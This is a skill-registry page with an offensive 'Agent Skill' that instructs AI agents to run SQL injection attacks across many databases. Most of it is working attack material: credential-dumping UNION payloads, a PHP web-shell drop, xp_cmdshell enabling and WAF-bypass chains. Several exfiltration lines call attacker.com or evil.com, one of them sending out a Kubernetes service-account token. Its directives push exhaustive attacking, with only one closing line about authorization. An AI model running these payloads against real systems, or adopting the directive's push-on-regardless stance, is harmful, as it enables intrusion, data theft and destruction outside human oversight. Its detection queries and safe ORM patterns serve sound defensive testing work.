# Offensive Sqli

> Comprehensive SQL injection skill for offensive security agents. Covers detection, exploitation, WAF bypass, database-specific attacks (MySQL, MSSQL, PostgreSQL, Oracle), NoSQL/GraphQL/WebSocket injection, cloud-native paths, ORM CVEs, and SQLmap automation. MUST be loaded and applied during every full blackbox web application pentest — SQLi is never skipped, even when surface scans look clean. Combines nav1n0x's advanced payloads with SnailSploit's structured methodology.

- Skill: `holiboy5454/offensive-sqli` (Agent Skill)
- Install (CLI): `npx skillmds@latest add holiboy5454/offensive-sqli`
- Raw SKILL.md: https://api.skillmd.com/api/skills/holiboy5454/offensive-sqli/raw
- Safety review: pending (external: skill-scanner PASS, skillspector FAIL)
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: DevOps & Infra
- Author: holiboy5454 (https://skillmd.com/u/holiboy5454)
- Updated: 2026-09-22
- Page: https://skillmd.com/skills/holiboy5454/offensive-sqli

---


# SQL Injection — Offensive Testing Skill

## Agent Directive (read first)

When performing a full blackbox pentest of any web application, API, or service that touches a database, the agent MUST:

1. **Always run the SQLi methodology below.** Do not skip it because a target "looks modern," uses an ORM, returns JSON, or has a WAF. Modern stacks have introduced new sinks (GraphQL, WebSockets, JSON operators, ORM raw queries, NoSQL `$where`), not eliminated old ones.
2. **Test every input vector that can reach a backend datastore** — URL params, POST body, JSON fields, cookies, headers (`X-Forwarded-For`, `User-Agent`, `Referer`, custom headers), multipart filenames, GraphQL variables, WebSocket frames, and second-order sinks (profile fields, filenames, log viewers).
3. **Exhaust detection before declaring a parameter clean.** Run error-based → boolean-blind → time-blind → out-of-band, in that order. A parameter is only "not vulnerable" after all four classes return negative.
4. **Identify the DBMS before deep exploitation.** Payload syntax, comment chars, and string concat differ per DB — see the cheatsheet at the bottom.
5. **Layer WAF bypasses before giving up.** If a payload is blocked, try case variation, comments, encoding, whitespace tricks, then chain them.
6. **Document every confirmed injection** with the request, response evidence, DB type, and an impact-graded PoC (data extraction or privilege escalation).

---

## Quick Workflow

```
[1] Map inputs           → spider, proxy traffic, OpenAPI/GraphQL introspection, JS source
[2] Probe                → break-chars + classic payloads on every input
[3] Classify             → error / union / boolean / time / OOB
[4] Fingerprint DB       → version, current_user, current_db
[5] Enumerate schema     → tables, columns, privileges
[6] Extract / escalate   → data dump, file r/w, RCE if in scope
[7] Bypass WAF as needed → tampers, encoding, chains
[8] Report               → PoC, impact, remediation
```

---

## 1. Detection

### 1.1 Break-Character Probes (run on every parameter)

```
' " ` ; ) ( -- # /* */ \ %  ,  +
' OR '1'='1
" OR "1"="1
') OR ('1'='1
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
```

### 1.2 Error-Based Probes

Trigger syntax errors to leak DB type and query structure:

```
'  ''  `  "  ""  ,  %  \
```

Forced-error payloads (MySQL, double-query technique):

```sql
' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT version()), 0x3a, FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) y) -- -
```

Look for: SQL error strings, ODBC/JDBC stacks, leaked table/column names, version banners.

### 1.3 Boolean-Based Blind

```sql
' OR 1=1 --
' OR 1=2 --
' AND 1=1 --
' AND 1=2 --
```

Diff response size, status, body, timing.

### 1.4 Time-Based Blind

```sql
-- MySQL
' OR SLEEP(5) --
' AND IF(1=1, SLEEP(5), 0) --
-- PostgreSQL
' OR pg_sleep(5) --
-- MSSQL
'; WAITFOR DELAY '0:0:5' --
-- Oracle
'; BEGIN DBMS_LOCK.SLEEP(5); END; --
-- Oracle (no PL/SQL)
' AND 1=DBMS_PIPE.RECEIVE_MESSAGE('a',5) --
```

### 1.5 Out-of-Band (OOB) — when blind & errors fail

```sql
-- MySQL (Windows / UNC)
' UNION SELECT LOAD_FILE(CONCAT('',(SELECT @@version),'.attacker.com\\a')) --
-- MSSQL
'; EXEC master..xp_dirtree '\\attacker.com\share' --
-- Oracle
' UNION SELECT UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT user FROM dual)) FROM dual --
-- PostgreSQL (DNS via copy from program)
'; COPY (SELECT '') TO PROGRAM 'nslookup $(whoami).attacker.com'; --
```

Use [interact.sh](https://github.com/projectdiscovery/interactsh) or Burp Collaborator for the listener.

### 1.6 Modern Sinks

**JSON operator probes:**

```
-- MySQL
id=1 AND JSON_EXTRACT('{"a":1}', '$.a')=1
-- PostgreSQL
id=1 AND '{"a":1}'::jsonb ? 'a'
```

**GraphQL → SQLi:**

```json
{"query":"query{ users(filter: \"' OR 1=1 --\"){ id email }}"}
```

**WebSocket:**

```javascript
const ws = new WebSocket("wss://target.com/api/search");
ws.send('{"action":"search","query":"test' OR 1=1--"}');
```

**REST API filter injection:**

```http
POST /api/users/search
{
  "filter": { "name": {"$regex": "admin' OR 1=1--"} },
  "sort": "name'; DROP TABLE users--"
}
```

**Second-order:** Inject in profile fields, filenames, or anything written to DB then re-rendered elsewhere — the payload fires when the *secondary* query runs.

```sql
'; UPDATE users SET role='admin' WHERE username='attacker' --
```

---

## 2. Database Fingerprinting

Run early — every payload after this depends on it.

```sql
-- MySQL / MariaDB
' OR 1=1 AND @@version --
' UNION SELECT version(), database(), user() --

-- PostgreSQL
' UNION SELECT version(), current_database(), current_user --

-- MSSQL
' OR 1=1 AND @@version --
' UNION SELECT @@version, DB_NAME(), SYSTEM_USER --

-- Oracle
' UNION SELECT banner, NULL, NULL FROM v$version --
```

---

## 3. UNION-Based Exploitation

### 3.1 Column Count

```sql
' ORDER BY 1 --
' ORDER BY 2 --     -- increment until error
' UNION SELECT NULL --
' UNION SELECT NULL,NULL --
' UNION SELECT NULL,NULL,NULL --
```

### 3.2 Find String Columns

```sql
' UNION SELECT 'a',NULL,NULL --
' UNION SELECT NULL,'a',NULL --
```

### 3.3 Schema Enumeration

```sql
-- Tables (MySQL/MSSQL/PG)
' UNION SELECT table_schema, table_name FROM information_schema.tables --

-- Tables (Oracle)
' UNION SELECT owner, table_name FROM all_tables --

-- Columns
' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name='users' --

-- Group concat for compact dump
' UNION SELECT GROUP_CONCAT(table_name SEPARATOR ','), NULL FROM information_schema.tables WHERE table_schema=database() --
' UNION SELECT GROUP_CONCAT(username, 0x3a, password) FROM users --
```

### 3.4 Cross-DB extraction

```sql
' UNION SELECT 1, (SELECT column_name FROM db1.table1 LIMIT 1), (SELECT column_name FROM db2.table2 LIMIT 1), user() --
```

---

## 4. Blind Extraction (Boolean & Time)

### 4.1 Character-by-character (boolean)

```sql
' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 0,1)='a' --
' AND ASCII(SUBSTRING((SELECT database()),1,1))>109 --
```

### 4.2 Time-based conditional

```sql
' AND IF((SELECT LENGTH(database()))>5, SLEEP(5), 0) --
' AND IF((SELECT SUBSTRING((SELECT table_name FROM information_schema.tables LIMIT 1),1,1))='a', SLEEP(5), 0) --

-- Postgres
'; SELECT CASE WHEN (username='admin') THEN pg_sleep(5) ELSE pg_sleep(0) END FROM users --
```

### 4.3 Bitwise extraction (faster than ASCII compare)

```sql
' AND IF((SELECT ASCII(SUBSTRING((SELECT database()),1,1))) & 1, SLEEP(5), 0) --
```

### 4.4 Combined UNION + time-based

```sql
' UNION SELECT IF((SELECT LENGTH(database()))>5, SLEEP(5), 0), 1, user(), 4 --
```

---

## 5. Database-Specific Exploitation

### 5.1 MySQL / MariaDB

```sql
-- File read
' UNION SELECT LOAD_FILE('/etc/passwd') --

-- Web shell drop (requires FILE priv + writable webroot)
' UNION SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php' --

-- Schema sweep (skip system DBs)
' UNION SELECT table_schema, table_name FROM information_schema.tables
  WHERE table_schema NOT IN ('mysql','information_schema','performance_schema','sys') --
```

### 5.2 MSSQL

```sql
-- OS command exec
'; EXEC xp_cmdshell 'whoami' --
'; EXEC master..xp_cmdshell 'net user' --

-- Re-enable xp_cmdshell if disabled
'; EXEC sp_configure 'show advanced options',1; RECONFIGURE;
   EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE; --

-- Registry read
'; EXEC xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion','ProductName' --

-- Linked server pivot
'; EXEC ('SELECT * FROM OPENROWSET(''SQLOLEDB'',''Server=linked;Trusted_Connection=yes'',''SELECT 1'')') --

-- DNS exfil
'; EXEC master..xp_dirtree '\\evil.com\payload' --
```

### 5.3 PostgreSQL

```sql
-- File read
' UNION SELECT pg_read_file('/etc/passwd', 0, 1000) --

-- OS command (superuser)
'; CREATE TABLE cmd_exec(cmd_output text);
   COPY cmd_exec FROM PROGRAM 'id';
   SELECT * FROM cmd_exec; --

-- K8s service-account token exfil
'; COPY (SELECT '') TO PROGRAM 'curl http://attacker.com/$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)'; --
```

### 5.4 Oracle

```sql
-- Privileges
' UNION SELECT * FROM SYS.USER_ROLE_PRIVS --

-- PL/SQL OS exec (legacy)
' BEGIN DBMS_JAVA.RUNJAVA('java.lang.Runtime.getRuntime().exec(''cmd.exe /c dir'')'); END; --

-- HTTP exfil
' UNION SELECT UTL_HTTP.REQUEST('http://attacker.com/?d='||user) FROM dual --
```

---

## 6. NoSQL & Graph Injection

### 6.1 MongoDB

```
username[$ne]=admin&password[$ne]=
username[$regex]=^adm&password[$regex]=^pass
{"$where": "sleep(5000)"}
{"username": {"$in": ["admin"]}}
{"username": "admin", "password": {"$gt": ""}}
```

### 6.2 Neo4j / Cypher

```cypher
-- Bypass
MATCH (u:User) WHERE u.name = 'admin' OR 1=1 //--' RETURN u
```

Neo4j 5.x <5.18 / <4.4.26 had IMMUTABLE-procedure privilege escalation issues — check version.

---

## 7. WAF Bypass Techniques

| Technique | Example |
| --- | --- |
| Case variation | `SeLeCt`, `uNiOn` |
| Inline comments | `UN/**/ION SE/**/LECT`, `UNION/**/SELECT/**/NULL,NULL` |
| URL encoding | `UNION` → `%55%4E%49%4F%4E` |
| Double URL encoding | `%27` → `%2527` |
| Hex encoding | `' UNION SELECT 0x61646D696E, 0x70617373776F7264 --` |
| Whitespace swap | tab `%09`, newline `%0A`, CRLF `%0D%0A`, `%0C` form-feed |
| `CHAR()` strings | `CHAR(117,115,101,114)` for `user` |
| Concat split | MySQL `CONCAT('ad','min')`, PG/Oracle `'ad'\|\|'min'`, MSSQL `'ad'+'min'` |
| Versioned MySQL | `/*!50000 UNION*/ /*!50000 SELECT*/` |
| Null byte | `%00' UNION SELECT password FROM users--` |
| JSON wrapper | Prefix dummy JSON `/**/{"a":1}` to confuse parser-based WAFs |
| HTTP/2 / h2c smuggling | HPACK can hide payloads from perimeter WAFs |
| Base64 + decoder | `' UNION SELECT FROM_BASE64('c2VsZWN0IHZlcnNpb24oKQ==') --` |

**Chain them.** A single bypass usually fails; layered (`case + comment + encoding`) succeeds far more often.

---

## 8. SQLmap Automation

### 8.1 Standard runs

```bash
# Basic
sqlmap -u "https://target.com/page?id=1" --batch --dbs

# From Burp request file
sqlmap -r req.txt --batch --dbs --risk=3 --level=5

# Aggressive with tampers
sqlmap -u "https://target.com/page?id=1" \
  --tamper=space2comment,charencode,randomcase \
  --level=5 --risk=3 --batch
```

### 8.2 Heavy tamper chain (try when blocked)

```
--tamper=apostrophemask,apostrophenullencode,appendnullbyte,base64encode,between,bluecoat,chardoubleencode,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,randomcomments,securesphere,space2comment,space2dash,space2hash,space2morehash,space2mssqlblank,space2mssqlhash,space2mysqlblank,space2mysqldash,space2plus,space2randomblank,sp_password,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords
```

### 8.3 Custom tamper script template

```python
#!/usr/bin/env python
import random
__priority__ = 1

def dependencies():
    pass

def tamper(payload, **kwargs):
    """Replace spaces with inline comments."""
    if payload:
        return payload.replace(" ", "/**/")
    return payload
```

Save to `<sqlmap>/tamper/myscript.py`, then `--tamper=myscript`.

### 8.4 Recon → injection pipeline

```bash
sublist3r -d target.com | tee domains
cat domains | httpx | tee alive
cat alive | waybackurls | gf sqli | tee sqli-candidates
sqlmap -m sqli-candidates --batch --dbs

# Hidden parameter discovery
hakrawler -url https://target.com | tee crawl
arjun -i crawl -oJ params.json

# Faster blind
ghauri -u "https://target.com/page?id=1" --dbs
```

---

## 9. Cloud-Specific Attack Paths

### 9.1 AWS

```sql
-- IMDSv1 credential theft (legacy / misconfigured)
' UNION SELECT LOAD_FILE('http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name') --

-- RDS Proxy disruption
'; CALL mysql.rds_kill(CONNECTION_ID()); --
```

### 9.2 Azure

```sql
'; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE; --
'; EXEC xp_cmdshell 'az vm list'; --

-- Instance metadata
' UNION SELECT LOAD_FILE('http://169.254.169.254/metadata/instance?api-version=2021-02-01') --
```

### 9.3 GCP Cloud SQL

```sql
' UNION SELECT @@global.version_comment, @@hostname --
```

### 9.4 Lambda / Serverless connection-pool poisoning

```javascript
// SET ROLE persists across Lambda invocations when connections are reused.
exports.handler = async (event) => {
  await db.query(`SET ROLE '${event.role}'`); // injectable → poisons next user
  return await db.query("SELECT * FROM sensitive_data");
};
```

---

## 10. ORM CVE Tracking

| ORM | CVE / Issue | Vulnerable Pattern |
| --- | --- | --- |
| Sequelize | CVE-2023-22578 | ``sequelize.literal(`name = '${userInput}'`)`` |
| TypeORM <0.3.12 | findOne injection | ``repository.findOne({ where: `id = ${id}` })`` |
| Hibernate 6.x | Query cache poisoning | `session.createQuery("FROM User WHERE name = '" + input + "'")` |
| Prisma <4.11 | Raw query | ``prisma.$executeRawUnsafe(`SELECT * FROM users WHERE id = ${id}`)`` |

**Safe patterns to confirm during code review:**

```javascript
// Sequelize
sequelize.query('SELECT * FROM users WHERE name = :name', { replacements: { name: user } })
// Prisma — tagged template
await prisma.$queryRaw`SELECT * FROM users WHERE name = ${user}`
// Knex
knex('users').whereRaw('name = ?', [user])
```

---

## 11. Quick-Reference Cheatsheet

| DB | Version | Time delay | String concat | Schema source | Comment |
| --- | --- | --- | --- | --- | --- |
| MySQL | `@@version` | `SLEEP(5)` | `CONCAT('a','b')` | `information_schema.tables` | `-- `, `#`, `/* */` |
| MSSQL | `@@version` | `WAITFOR DELAY '0:0:5'` | `'a'+'b'` | `information_schema.tables`, `sys.tables` | `--`, `/* */` |
| PostgreSQL | `version()` | `pg_sleep(5)` | `'a'\|\|'b'` | `information_schema.tables` | `--`, `/* */` |
| Oracle | `banner FROM v$version` | `DBMS_PIPE.RECEIVE_MESSAGE('a',5)` | `'a'\|\|'b'` | `all_tables`, `all_tab_columns` | `--` |

---

## 12. Detection & Monitoring (defensive context)

**Splunk:**

```
index=web sourcetype=access_combined
| regex _raw="(%27)|(')|(\\-\\-)|((%3D)|(=))[^\\n]*((%27)|(')|(\\-\\-)|(\\%3D))"
| eval suspected_sqli=if(match(_raw,"(?i)(union|select|insert|update|delete|drop|create|alter|exec)"),"high","low")
| where suspected_sqli="high"
| table _time, src_ip, uri, user_agent, status
```

**AWS CloudWatch Insights (RDS):**

```
fields @timestamp, @message
| filter @message like /(?i)(UNION|SELECT.*FROM|INSERT INTO|UPDATE.*SET|DELETE FROM)/
| filter @message like /(%27|'|--|\\/\\*)/
| stats count() by bin(5m)
```

---

## 13. References & Standards

- MITRE ATT&CK: T1190 — Exploit Public-Facing Application
- OWASP ASVS 4.0: V5.3.4 — parameterized queries required
- PCI DSS 4.0: Requirement 6.2.4 — injection protection mandatory
- CISA KEV — track actively exploited SQLi CVEs
- nav1n0x — Advanced SQL Injection Techniques: <https://nav1n0x.gitbook.io/advanced-sql-injection-techniques>
- SnailSploit — offensive-sqli skill: <https://github.com/SnailSploit/Claude-Red/blob/main/Skills/offensive-sqli/SKILL.md>
- PortSwigger Web Security Academy — SQL injection labs

---

## 14. Final reminders for the agent

- **Never skip SQLi probing**, even on JSON-only APIs, GraphQL endpoints, or "fully ORM" stacks.
- **Test every parameter, every header, every cookie, every WS frame.**
- **Identify DB before deep-diving** — wrong syntax wastes time and burns WAF budget.
- **Layer WAF bypasses**, do not give up after one blocked payload.
- **Stay in scope.** Stacked queries (`; DROP TABLE`), file writes, and `xp_cmdshell` can be destructive — confirm authorization before firing.
- **Log everything**: payload, request, response, timing, evidence — for the report.

